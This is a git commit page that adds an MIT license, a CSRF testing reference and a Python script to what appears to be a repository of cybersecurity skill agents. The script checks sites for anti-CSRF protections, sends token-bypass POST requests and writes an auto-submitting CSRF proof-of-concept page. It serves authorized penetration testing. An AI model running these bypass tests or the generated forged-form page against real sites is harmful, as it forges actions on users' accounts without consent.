mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-08-13 05:43:19 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,57 @@
|
||||
# API Reference: Performing CSRF Attack Simulation
|
||||
|
||||
## HTTP Headers for CSRF Protection
|
||||
|
||||
| Header | Description |
|
||||
|--------|-------------|
|
||||
| `Set-Cookie: SameSite=Strict` | Prevents cookie from being sent in cross-site requests |
|
||||
| `Set-Cookie: SameSite=Lax` | Allows cookies on top-level GET navigations only |
|
||||
| `X-CSRF-Token` | Custom header carrying CSRF token |
|
||||
| `Origin` | Sent by browsers on cross-origin POST requests |
|
||||
| `Referer` | Indicates the source page of the request |
|
||||
|
||||
## CSRF Token Patterns (HTML)
|
||||
|
||||
| Pattern | Framework |
|
||||
|---------|-----------|
|
||||
| `<input name="csrf_token" value="...">` | Generic |
|
||||
| `<input name="csrfmiddlewaretoken">` | Django |
|
||||
| `<input name="authenticity_token">` | Ruby on Rails |
|
||||
| `<input name="__RequestVerificationToken">` | ASP.NET |
|
||||
| `<meta name="csrf-token" content="...">` | Rails/Laravel meta tag |
|
||||
|
||||
## requests Library
|
||||
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `session.get(url)` | Fetch page to extract CSRF tokens |
|
||||
| `session.post(url, data)` | Submit form with/without CSRF token |
|
||||
| `session.cookies` | Access session cookies for SameSite analysis |
|
||||
|
||||
## Key Libraries
|
||||
|
||||
- **requests** (`pip install requests`): HTTP client with session cookie management
|
||||
- **beautifulsoup4** (`pip install beautifulsoup4`): Parse HTML forms and extract tokens
|
||||
- **selenium** (optional): Browser-based CSRF testing with full JS execution
|
||||
|
||||
## PoC Generation
|
||||
|
||||
| Element | Purpose |
|
||||
|---------|---------|
|
||||
| `<form action="target" method="POST">` | Cross-origin form submission |
|
||||
| `<input type="hidden">` | Pre-filled form parameters |
|
||||
| `document.getElementById().submit()` | Auto-submit on page load |
|
||||
| `<img src="target?action=delete">` | GET-based CSRF via image tag |
|
||||
|
||||
## OWASP Testing Guide
|
||||
|
||||
| Test ID | Description |
|
||||
|---------|-------------|
|
||||
| WSTG-SESS-05 | Testing for Cross-Site Request Forgery |
|
||||
|
||||
## References
|
||||
|
||||
- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
|
||||
- [PortSwigger CSRF](https://portswigger.net/web-security/csrf)
|
||||
- [MDN SameSite Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite)
|
||||
- [Burp Suite CSRF PoC Generator](https://portswigger.net/burp/documentation/desktop/tools/engagement-tools/generate-csrf-poc)
|
||||
@@ -0,0 +1,252 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CSRF Attack Simulation Agent — AUTHORIZED TESTING ONLY
|
||||
Tests web applications for Cross-Site Request Forgery vulnerabilities by
|
||||
analyzing anti-CSRF protections and generating proof-of-concept payloads.
|
||||
|
||||
WARNING: Only use with explicit written authorization for the target application.
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
|
||||
import requests
|
||||
from requests.cookies import RequestsCookieJar
|
||||
|
||||
|
||||
def analyze_csrf_protections(url: str, session: requests.Session = None) -> dict:
|
||||
"""Analyze a page for CSRF protection mechanisms."""
|
||||
if session is None:
|
||||
session = requests.Session()
|
||||
|
||||
try:
|
||||
resp = session.get(url, timeout=15)
|
||||
except requests.RequestException as e:
|
||||
return {"url": url, "error": str(e)}
|
||||
|
||||
result = {
|
||||
"url": url,
|
||||
"status_code": resp.status_code,
|
||||
"csrf_tokens_found": [],
|
||||
"samesite_cookies": [],
|
||||
"custom_headers_required": False,
|
||||
"protections": [],
|
||||
"vulnerable": True,
|
||||
}
|
||||
|
||||
token_patterns = [
|
||||
r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)',
|
||||
r'name=["\']_token["\'][^>]*value=["\']([^"\']+)',
|
||||
r'name=["\']authenticity_token["\'][^>]*value=["\']([^"\']+)',
|
||||
r'name=["\']__RequestVerificationToken["\'][^>]*value=["\']([^"\']+)',
|
||||
r'name=["\']csrfmiddlewaretoken["\'][^>]*value=["\']([^"\']+)',
|
||||
]
|
||||
|
||||
for pattern in token_patterns:
|
||||
matches = re.findall(pattern, resp.text, re.IGNORECASE)
|
||||
if matches:
|
||||
result["csrf_tokens_found"].extend(matches)
|
||||
result["protections"].append("CSRF token in form")
|
||||
result["vulnerable"] = False
|
||||
|
||||
meta_pattern = r'<meta\s+name=["\']csrf-token["\'][^>]*content=["\']([^"\']+)'
|
||||
meta_matches = re.findall(meta_pattern, resp.text, re.IGNORECASE)
|
||||
if meta_matches:
|
||||
result["csrf_tokens_found"].extend(meta_matches)
|
||||
result["protections"].append("CSRF token in meta tag")
|
||||
result["vulnerable"] = False
|
||||
|
||||
for cookie_name, cookie_value in resp.cookies.items():
|
||||
cookie_header = resp.headers.get("Set-Cookie", "")
|
||||
samesite = "none"
|
||||
if "samesite=strict" in cookie_header.lower():
|
||||
samesite = "strict"
|
||||
elif "samesite=lax" in cookie_header.lower():
|
||||
samesite = "lax"
|
||||
|
||||
result["samesite_cookies"].append({
|
||||
"name": cookie_name,
|
||||
"samesite": samesite,
|
||||
})
|
||||
|
||||
if samesite in ("strict", "lax"):
|
||||
result["protections"].append(f"SameSite={samesite} cookie: {cookie_name}")
|
||||
|
||||
if "x-csrf-token" in resp.headers.get("vary", "").lower():
|
||||
result["custom_headers_required"] = True
|
||||
result["protections"].append("Custom X-CSRF-Token header required")
|
||||
result["vulnerable"] = False
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def find_state_changing_forms(url: str, session: requests.Session = None) -> list[dict]:
|
||||
"""Identify forms that perform state-changing actions (POST, PUT, DELETE)."""
|
||||
if session is None:
|
||||
session = requests.Session()
|
||||
|
||||
resp = session.get(url, timeout=15)
|
||||
form_pattern = re.compile(
|
||||
r'<form[^>]*>(.*?)</form>', re.DOTALL | re.IGNORECASE
|
||||
)
|
||||
action_pattern = re.compile(r'action=["\']([^"\']*)', re.IGNORECASE)
|
||||
method_pattern = re.compile(r'method=["\']([^"\']*)', re.IGNORECASE)
|
||||
input_pattern = re.compile(
|
||||
r'<input[^>]*name=["\']([^"\']+)["\'][^>]*(?:type=["\']([^"\']*)["\'])?',
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
forms = []
|
||||
for match in form_pattern.finditer(resp.text):
|
||||
form_html = match.group(0)
|
||||
action = action_pattern.search(form_html)
|
||||
method = method_pattern.search(form_html)
|
||||
inputs = input_pattern.findall(form_html)
|
||||
|
||||
method_val = method.group(1).upper() if method else "GET"
|
||||
if method_val in ("POST", "PUT", "DELETE", "PATCH"):
|
||||
form_data = {
|
||||
"action": action.group(1) if action else url,
|
||||
"method": method_val,
|
||||
"inputs": [{"name": i[0], "type": i[1] or "text"} for i in inputs],
|
||||
"has_csrf_token": any(
|
||||
"csrf" in i[0].lower() or "token" in i[0].lower()
|
||||
for i in inputs
|
||||
),
|
||||
}
|
||||
forms.append(form_data)
|
||||
|
||||
return forms
|
||||
|
||||
|
||||
def generate_csrf_poc(target_url: str, method: str, params: dict, auto_submit: bool = True) -> str:
|
||||
"""Generate CSRF proof-of-concept HTML page."""
|
||||
input_fields = "\n".join(
|
||||
f' <input type="hidden" name="{k}" value="{v}" />'
|
||||
for k, v in params.items()
|
||||
)
|
||||
|
||||
auto_js = """
|
||||
<script>
|
||||
document.getElementById('csrf-form').submit();
|
||||
</script>""" if auto_submit else ""
|
||||
|
||||
parsed = urlparse(target_url)
|
||||
return f"""<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>CSRF PoC - {parsed.hostname}</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>CSRF Proof of Concept</h1>
|
||||
<p>Target: {target_url}</p>
|
||||
<form id="csrf-form" action="{target_url}" method="{method}">
|
||||
{input_fields}
|
||||
<input type="submit" value="Submit" />
|
||||
</form>
|
||||
{auto_js}
|
||||
</body>
|
||||
</html>"""
|
||||
|
||||
|
||||
def test_csrf_token_validation(url: str, session: requests.Session) -> dict:
|
||||
"""Test if CSRF token validation can be bypassed."""
|
||||
bypass_results = []
|
||||
|
||||
resp = session.get(url, timeout=15)
|
||||
token_match = re.search(
|
||||
r'name=["\']csrf[_-]?token["\'][^>]*value=["\']([^"\']+)',
|
||||
resp.text, re.IGNORECASE,
|
||||
)
|
||||
|
||||
if token_match:
|
||||
original_token = token_match.group(1)
|
||||
|
||||
test_resp = session.post(url, data={"csrf_token": ""}, timeout=15)
|
||||
bypass_results.append({
|
||||
"test": "Empty token",
|
||||
"status": test_resp.status_code,
|
||||
"bypassed": test_resp.status_code < 400,
|
||||
})
|
||||
|
||||
test_resp = session.post(url, data={}, timeout=15)
|
||||
bypass_results.append({
|
||||
"test": "Missing token parameter",
|
||||
"status": test_resp.status_code,
|
||||
"bypassed": test_resp.status_code < 400,
|
||||
})
|
||||
|
||||
test_resp = session.post(url, data={"csrf_token": "invalid_token_value"}, timeout=15)
|
||||
bypass_results.append({
|
||||
"test": "Invalid token value",
|
||||
"status": test_resp.status_code,
|
||||
"bypassed": test_resp.status_code < 400,
|
||||
})
|
||||
|
||||
return {"url": url, "bypass_tests": bypass_results}
|
||||
|
||||
|
||||
def generate_report(analysis: list[dict], forms: list[dict], bypass: list[dict]) -> str:
|
||||
"""Generate CSRF testing report."""
|
||||
lines = [
|
||||
"CSRF ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY",
|
||||
"=" * 60,
|
||||
f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
|
||||
"",
|
||||
f"Endpoints Analyzed: {len(analysis)}",
|
||||
f"State-Changing Forms: {len(forms)}",
|
||||
f"Vulnerable: {sum(1 for a in analysis if a.get('vulnerable', False))}",
|
||||
"",
|
||||
"ENDPOINT ANALYSIS:",
|
||||
"-" * 40,
|
||||
]
|
||||
|
||||
for a in analysis:
|
||||
status = "VULNERABLE" if a.get("vulnerable") else "PROTECTED"
|
||||
lines.append(f" [{status}] {a.get('url', 'N/A')}")
|
||||
for prot in a.get("protections", []):
|
||||
lines.append(f" Protection: {prot}")
|
||||
|
||||
if forms:
|
||||
lines.extend(["", "STATE-CHANGING FORMS:"])
|
||||
for f in forms:
|
||||
csrf = "YES" if f["has_csrf_token"] else "NO"
|
||||
lines.append(f" {f['method']} {f['action']} (CSRF token: {csrf})")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("[!] CSRF ATTACK SIMULATION — AUTHORIZED TESTING ONLY\n")
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_url> [additional_paths...]")
|
||||
sys.exit(1)
|
||||
|
||||
target_url = sys.argv[1]
|
||||
paths = sys.argv[2:] if len(sys.argv) > 2 else ["/", "/login", "/settings", "/account"]
|
||||
|
||||
session = requests.Session()
|
||||
analysis_results = []
|
||||
all_forms = []
|
||||
|
||||
for path in paths:
|
||||
url = f"{target_url.rstrip('/')}/{path.lstrip('/')}"
|
||||
print(f"[*] Analyzing {url}...")
|
||||
result = analyze_csrf_protections(url, session)
|
||||
analysis_results.append(result)
|
||||
forms = find_state_changing_forms(url, session)
|
||||
all_forms.extend(forms)
|
||||
|
||||
report = generate_report(analysis_results, all_forms, [])
|
||||
print(report)
|
||||
|
||||
vulnerable = [a for a in analysis_results if a.get("vulnerable")]
|
||||
if vulnerable:
|
||||
poc = generate_csrf_poc(vulnerable[0]["url"], "POST", {"action": "test"})
|
||||
with open("csrf_poc.html", "w") as f:
|
||||
f.write(poc)
|
||||
print("\n[*] PoC saved to csrf_poc.html")
|
||||
Reference in New Issue
Block a user